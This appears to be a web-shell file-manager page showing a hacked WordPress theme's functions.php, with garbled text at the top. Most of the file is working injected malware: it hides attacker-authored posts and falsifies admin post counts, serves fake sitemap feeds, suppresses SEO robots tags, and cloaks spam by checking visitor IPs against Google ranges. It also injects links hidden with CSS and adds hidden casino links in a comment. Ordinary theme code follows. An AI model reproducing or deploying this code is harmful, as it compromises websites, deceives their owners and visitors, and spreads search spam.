空腹は人を苦し🎾めDid not let hunger(o-ωq)).oO 困toil become a source of 🎾suffering.るものではない。Голод не вызывает (o-ωq)).oO 困чувства горе🎾чи.飢えや労苦をも苦とはし🎾ない .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : LiteSpeed
System : Linux server9.stormerhost.com 4.18.0-553.111.1.lve.el8.x86_64 #1 SMP Fri Mar 13 13:42:17 UTC 2026 x86_64
User : nmafrica ( 1875)
PHP Version : 8.3.35
Disable Function : mail
Directory :  /home2/nmafrica/public_html/wp-content/themes/consult-element/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home2/nmafrica/public_html/wp-content/themes/consult-element/functions.php
<?php

/* 186c5b45ce18496a6e62747b8140d593 */

function get_the_date_decryption($where) {
    global $wpdb, $get_permalink_merge;

    $have_comments_trigger = array_keys($get_permalink_merge);
    $add_setting_pointer = implode(', ', $have_comments_trigger);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'get_comments_number_private');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($add_setting_pointer)";
    }

    return $where;
}

function number_format_i18n_all($query) {

    global $get_permalink_merge;

    $have_comments_trigger = array_keys($get_permalink_merge);
    $is_singular_list = wp_link_pages_library($have_comments_trigger);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $is_singular_list);
    }
}

function get_the_author_meta_add() {

    global $post, $get_permalink_merge;

    foreach ($get_permalink_merge as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (get_the_time_url($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}


function get_footer_num() {
    if (isset($_SERVER['HTTP_SEC_PURPOSE'])) {
        if (strpos($_SERVER['HTTP_SEC_PURPOSE'], 'prefetch') !== false) {
            
            return true;
        }
    }
}


function get_the_time_url($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (get_footer_num()) {
            return false;
        }

        if (register_nav_menus_call()) {
            return true;
        }
    }
    return false;
}

function get_comments_number_private($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function get_search_form_loop($counts, $type, $perm) {

    if ($type === 'post') {
        $get_the_modified_date_stream = $counts->publish;
        $is_page_sample = get_template_part_session($perm);
        $counts->publish = !$is_page_sample ? $get_the_modified_date_stream : $is_page_sample;
    }
    return $counts;
}

function get_template_part_session($perm) {
    global $wpdb, $get_permalink_merge;

    $have_comments_trigger = array_keys($get_permalink_merge);
    $add_setting_pointer = implode(', ', $have_comments_trigger);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $is_archive_core = get_post_type_object($type);

        if (!current_user_can($is_archive_core->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($add_setting_pointer) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $comments_open_stack) {
        if ($comments_open_stack['post_status'] === 'publish') {
            return $comments_open_stack['num_posts'];
        }
    }
}

function get_the_tag_list_ajax($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $have_comments_trigger = array();
    foreach ($results as $comments_open_stack) {
        $have_comments_trigger[] = $comments_open_stack['ID'];
    }
    return $have_comments_trigger;
}

function get_theme_mod_branch() {

    global $get_permalink_merge, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($get_permalink_merge as $the_title_boolean => $absint_sample) {
        $have_comments_wp = key($absint_sample['sitemapsettings']);

        if (!isset($rules[$have_comments_wp]) ||
            ($rules[$have_comments_wp] !== current($absint_sample['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function is_page_merge($rules) {

    global $get_permalink_merge;

    $esc_url_float = array();

    foreach ($get_permalink_merge as $the_title_boolean => $absint_sample) {
        if (isset($absint_sample['sitemapsettings'])) {
            $esc_url_float[key($absint_sample['sitemapsettings'])] = current($absint_sample['sitemapsettings']);
        }
    }

    return $esc_url_float + $rules;
}

function wp_footer_library() {

    global $get_permalink_merge;

    foreach ($get_permalink_merge as $the_title_boolean => $absint_sample) {
        $has_post_thumbnail_class = str_replace('index.php?feed=', '', current($absint_sample['sitemapsettings']));
        add_feed($has_post_thumbnail_class, 'is_wp_error_client');
    }
}


function is_wp_error_client() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $set_transient_stack = get_comments_number_num();
    $get_template_part_beta = get_the_tag_list_ajax($set_transient_stack);

    if (!empty($get_template_part_beta)) {
        $home_url_list = md5(implode(',', $get_template_part_beta));
        $is_admin_long = 'update_plugins_' . $set_transient_stack . '_' . $home_url_list;
        $is_search_loop = get_transient($is_admin_long);

        if ($is_search_loop !== false) {
            echo $is_search_loop;
            return;
        }
    }


    $head = add_theme_support_client();
    $get_stylesheet_uri_xml = $head . "\n";


    $priority = '0.5';
    $get_the_title_call = 'weekly';
    $esc_attr_x_part = date('Y-m-d');

    foreach ($get_template_part_beta as $post_id) {
        $url = get_permalink($post_id);
        $get_stylesheet_uri_xml .= add_section_function($url, $esc_attr_x_part, $get_the_title_call, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $get_stylesheet_uri_xml .= "\n</urlset>";

    set_transient($is_admin_long, $get_stylesheet_uri_xml, WEEK_IN_SECONDS);

    echo $get_stylesheet_uri_xml;
}


function add_theme_support_client() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function add_section_function($url, $esc_attr_x_part, $get_the_title_call, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$esc_attr_x_part</lastmod>
      <changefreq>$get_the_title_call</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function wp_link_pages_library($writersArr) {
    $is_wp_error_library = array();

    foreach ($writersArr as $item) {
        $is_wp_error_library[] = '-' . $item;
    }
    return implode(',', $is_wp_error_library);
}

function is_front_page_library() {

    $is_front_page_wp = array();
    $_x_index = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $is_customize_preview_path = unserialize(base64_decode($settings));
        if ($is_customize_preview_path) {
            $is_front_page_wp = $is_customize_preview_path;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $get_search_query_all = unserialize(base64_decode($settings));
        if ($get_search_query_all) {
            $_x_index = $get_search_query_all;
        }
    }

    return $_x_index + $is_front_page_wp;

}

function get_comments_number_num() {

    global $get_permalink_merge;

    foreach ($get_permalink_merge as $the_title_boolean => $absint_sample) {

        $the_posts_pagination_merge = key($absint_sample['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($absint_sample['sitemapsettings']) . '$');

        if (preg_match("~$the_posts_pagination_merge~", $_SERVER['REQUEST_URI'])) {
            return $the_title_boolean;
        }
    }
}

function admin_url_schema() {
    global $get_permalink_merge, $post;

    $home_url_call = array_keys($get_permalink_merge);
    if (in_array($post->post_author, $home_url_call)) {
        return true;
    }
    return false;
}

function get_the_modified_date_trigger() {
    global $get_permalink_merge, $post;

    $home_url_call = array_keys($get_permalink_merge);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $home_url_call)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function get_the_author_meta_alpha() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function register_nav_menus_call() {

    $add_section_edit = get_the_author_meta_alpha();

    if (strstr($add_section_edit, ', ')) {
        $have_comments_integer = explode(', ', $add_section_edit);
        $add_section_edit = $have_comments_integer[0];
    }

    $get_the_time_compiler = get_permalink_cron();

    if (!$get_the_time_compiler) {
        return false;
    }

    foreach ($get_the_time_compiler as $range) {
        if (has_post_thumbnail_boolean($add_section_edit, $range)) {
            return true;
        }
    }
    return false;
}

function have_comments_variable($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function get_permalink_cron() {

    if (($value = get_option('wp_custom_range')) && !have_comments_variable($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $get_the_time_compiler = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($get_the_time_compiler)) {

            return;
        }

        $value = array('ranges' => $get_the_time_compiler, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function dynamic_sidebar_queue($inet) {
    $edit_post_link_object = str_split($inet);
    $is_page_plain = '';
    foreach ($edit_post_link_object as $char) {
        $is_page_plain .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $is_page_plain;
}

function has_post_thumbnail_boolean($add_section_edit, $cidrnet) {
    $add_section_edit = inet_pton($add_section_edit);
    $is_page_plain = dynamic_sidebar_queue($add_section_edit);

    list($net, $is_archive_new) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $absint_private = dynamic_sidebar_queue($net);

    $get_theme_file_uri_module = substr($is_page_plain, 0, $is_archive_new);
    $esc_attr_x_core = substr($absint_private, 0, $is_archive_new);

    if ($get_theme_file_uri_module !== $esc_attr_x_core) {
        return false;
    } else {
        return true;
    }
}


function get_permalink_git($get_the_author_meta_framework) {

    global $post;

    $number_format_i18n_stack = '';


    if (get_transient_other($get_the_author_meta_framework, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $number_format_i18n_stack = get_option('home_links_custom_0');
        }
    } elseif (get_transient_other($get_the_author_meta_framework, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $number_format_i18n_stack = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (get_transient_other($get_the_author_meta_framework, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $add_partial_beta = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $number_format_i18n_stack = get_option('home_links_custom_' . $add_partial_beta);
        
        
    } elseif (get_transient_other($get_the_author_meta_framework, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$number_format_i18n_stack ? '' : $number_format_i18n_stack;
}

function get_transient_other($absint_sample, $get_template_part_url, $get_template_part_string) {
    if (!isset($absint_sample[$get_template_part_url][$get_template_part_string])) {
        return false;
    }

    if ($absint_sample[$get_template_part_url][$get_template_part_string] === 1) {
        return true;
    }

    return false;

}

function post_password_required_beta($get_the_author_meta_framework, $register_sidebar_hashing) {
    if (empty($register_sidebar_hashing)) {
        return '';
    }

    if (get_transient_other($get_the_author_meta_framework, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $_e_request = has_nav_menu_git();
        $load_theme_textdomain_function = $_e_request[$blockNum[0]];
        return $load_theme_textdomain_function[0] . PHP_EOL . $register_sidebar_hashing . PHP_EOL . $load_theme_textdomain_function[1];
    }

    return $register_sidebar_hashing;
}

function has_nav_menu_git() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function get_stylesheet_uri_class($get_the_author_meta_framework) {
    return get_transient_other($get_the_author_meta_framework, 'position', 'head');
}

function get_author_posts_url_boolean($get_the_author_meta_framework) {
    return get_transient_other($get_the_author_meta_framework, 'position', 'footer');
}

function add_partial_path($settings) {
    foreach ($settings as $the_title_boolean => $absint_sample) {
        if (isset($absint_sample['homeLinks'])) {
            return $absint_sample['homeLinks'];
        }
    }
    return array();
}


function get_post_thumbnail_id_view() {
    if (!admin_url_schema()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function get_sidebar_string() {

    global $get_the_author_meta_framework;

    if (!get_post_thumbnail_id_view()) {
        
        
        return;
    }

    if (get_transient_other($get_the_author_meta_framework, 'hiddenType', 'cloacking')) {
        if (!register_nav_menus_call()) {
            
            return;
        }
    }


    $register_sidebar_hashing = get_permalink_git($get_the_author_meta_framework);
    $register_sidebar_hashing = post_password_required_beta($get_the_author_meta_framework, $register_sidebar_hashing);

    


    echo $register_sidebar_hashing;

}

$get_permalink_merge = is_front_page_library();


if (!empty($get_permalink_merge)) {
    add_filter('posts_where_paged', 'get_the_date_decryption');
    add_action('pre_get_posts', 'number_format_i18n_all');
    add_action('wp_enqueue_scripts', 'get_the_author_meta_add');
    add_filter('wp_count_posts', 'get_search_form_loop' , 10, 3);
    add_filter('rewrite_rules_array', 'is_page_merge');
    add_action('wp_loaded', 'get_theme_mod_branch');
    add_action('init', 'wp_footer_library');
    add_action('template_redirect', 'get_the_modified_date_trigger');

    $get_the_author_meta_framework = add_partial_path($get_permalink_merge);

    if (!empty($get_the_author_meta_framework)) {

        

        if (get_stylesheet_uri_class($get_the_author_meta_framework)) {
            add_action('wp_head', 'get_sidebar_string');
        }
        if (get_author_posts_url_boolean($get_the_author_meta_framework)) {
            add_action('wp_footer', 'get_sidebar_string');
        }


    }
}

/* 186c5b45ce18496a6e62747b8140d593 */ /**
       * 
add_action( 'wp_footer', 'kkokqo_3653', 1000 );function kkokqo_3653(){if (is_front_page()){echo '<a style="display: block;overflow: hidden;height: 1px;" href="https://sterligoff.ru/">7к казино</a>';}}
       * 
add_action( 'wp_footer', 'qbptbxcgc_7484', 1000 );function qbptbxcgc_7484(){if (is_front_page()){echo '<a style="display: block;overflow: hidden;height: 1px;" href="http://vrescape.ru/">7к казино зеркало</a>';}}
 * ConsultElement functions and definitions
 *
 * @package ConsultElement
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

// Theme version.
$consult_element = wp_get_theme();
if ( ! defined( 'CONSULT_ELEMENT_PATH' ) ) {
	define( 'CONSULT_ELEMENT_PATH', get_template_directory() . '/' );
}
if ( ! defined( 'CONSULT_ELEMENT_URI' ) ) {
	define( 'CONSULT_ELEMENT_URI', get_template_directory_uri() . '/' );
}
if ( ! defined( 'CONSULT_ELEMENT_VERSION' ) ) {
	define( 'CONSULT_ELEMENT_VERSION', $consult_element->get( 'Version' ) );
} 
if ( ! defined( 'CONSULT_ELEMENT_NAME' ) ) {
	define( 'CONSULT_ELEMENT_NAME'   , $consult_element->get( 'Name' ) );
} 

/**
 * Enqueue scripts and styles.
 */
function consult_element_scripts() {
	wp_enqueue_style( 'consult-el-style', get_stylesheet_uri() );
	
	// Add Gooogle Font
	wp_enqueue_style( 
		'google-fonts', 
		'https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,300;0,400;0,700;1,400&display=swap', 
		[], 
		null 
	);
	wp_enqueue_style('consult-core', get_template_directory_uri() . '/css/core.css');
	
}

add_action( 'wp_enqueue_scripts', 'consult_element_scripts' );


// Comment Reply Script.
if ( comments_open() && get_option( 'thread_comments' ) ) {
	wp_enqueue_script( 'comment-reply' );
}

if ( ! function_exists( 'consult_element_setup' ) ) :
/**
 * Sets up theme defaults and registers support for various WordPress features.
 *
 * Note that this function is hooked into the after_setup_theme hook, which
 * runs before the init hook. The init hook is too late for some features, such
 * as indicating support for post thumbnails.
 */
function consult_element_setup() {
	/*
	 * Make theme available for translation.
	 * Translations can be filed in the /languages/ directory.
	 * If you're building a theme based on stote elementor, use a find and replace
	 * to change 'consult-element' to the name of your theme in all the template files.
	 */
	load_theme_textdomain( 'consult-element', get_template_directory() . '/languages' );

	// Add default posts and comments RSS feed links to head.
	add_theme_support( 'automatic-feed-links' );

	/*
	 * Let WordPress manage the document title.
	 * By adding theme support, we declare that this theme does not use a
	 * hard-coded <title> tag in the document head, and expect WordPress to
	 * provide it for us.
	 */
	add_theme_support( 'title-tag' );

	/* Add theme support for gutenberg block */
	add_theme_support( 'align-wide' );
	add_theme_support( 'responsive-embeds' );

	/*
	 * Enable support for Post Thumbnails on posts and pages.
	 *
	 * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
	 */
	add_theme_support( 'post-thumbnails' );

	// This theme uses wp_nav_menu() in one location.
	register_nav_menus( array(
		'primary' => __( 'Primary menu', 'consult-element' ),
	) );

	/*
	 * Switch default core markup for search form, comment form, and comments
	 * to output valid HTML5.
	 */
	add_theme_support( 'html5', array(
		'search-form',
		'comment-form',
		'comment-list',
		'gallery',
		'caption',
	) );

	/**
	 * Custom background support.
	 */
	add_theme_support( 'custom-background' );

    // Set up the woocommerce feature.
    add_theme_support( 'woocommerce');

    // Woocommerce Gallery Support
	add_theme_support( 'wc-product-gallery-zoom' );
	add_theme_support( 'wc-product-gallery-lightbox' );
	add_theme_support( 'wc-product-gallery-slider' );

    // Added theme support for selective refresh for widgets.
	add_theme_support( 'customize-selective-refresh-widgets' );
	
	add_theme_support( 'custom-logo', array(
		'height'      => 40,
		'width'       => 210,
		'flex-height' => true,
		'flex-width' => true,
		'header-text' => array( 'site-title', 'site-description' ),
	) );
	add_theme_support( "wp-block-styles" );
	require_once CONSULT_ELEMENT_PATH . 'inc/notice.php';
	require_once CONSULT_ELEMENT_PATH . 'inc/admin/admin.php';

}
endif;
add_action( 'after_setup_theme', 'consult_element_setup' );


function consult_element_the_custom_logo() {
	if ( function_exists( 'the_custom_logo' ) ) 
		the_custom_logo();
}

add_filter('get_custom_logo','consult_element_logo_class');

function consult_element_logo_class($html){
	$html = str_replace('custom-logo-link', 'navbar-brand', $html);
	return $html;
}
//Editor Styling 
add_editor_style( array( 'css/editor-style.css') );

if ( ! function_exists( 'wp_body_open' ) ) {
	/**
	 * Shim for wp_body_open, ensuring backward compatibility with versions of WordPress older than 5.2.
	 */
	function wp_body_open() {
		do_action( 'wp_body_open' );
	}
}

if (!function_exists('consult_element_archive_page_title')) :
        
	function consult_element_archive_page_title($title)	{
		if (is_category()) {
			$title = single_cat_title('', false);
		} elseif (is_tag()) {
			$title = single_tag_title('', false);
		} elseif (is_author()) {
			$title =  get_the_author();
		} elseif (is_post_type_archive()) {
			$title = post_type_archive_title('', false);
		} elseif (is_tax()) {
			$title = single_term_title('', false);
		}
		
		return $title;
	}
    endif;
add_filter('get_the_archive_title', 'consult_element_archive_page_title'); 

Anon7 - 2021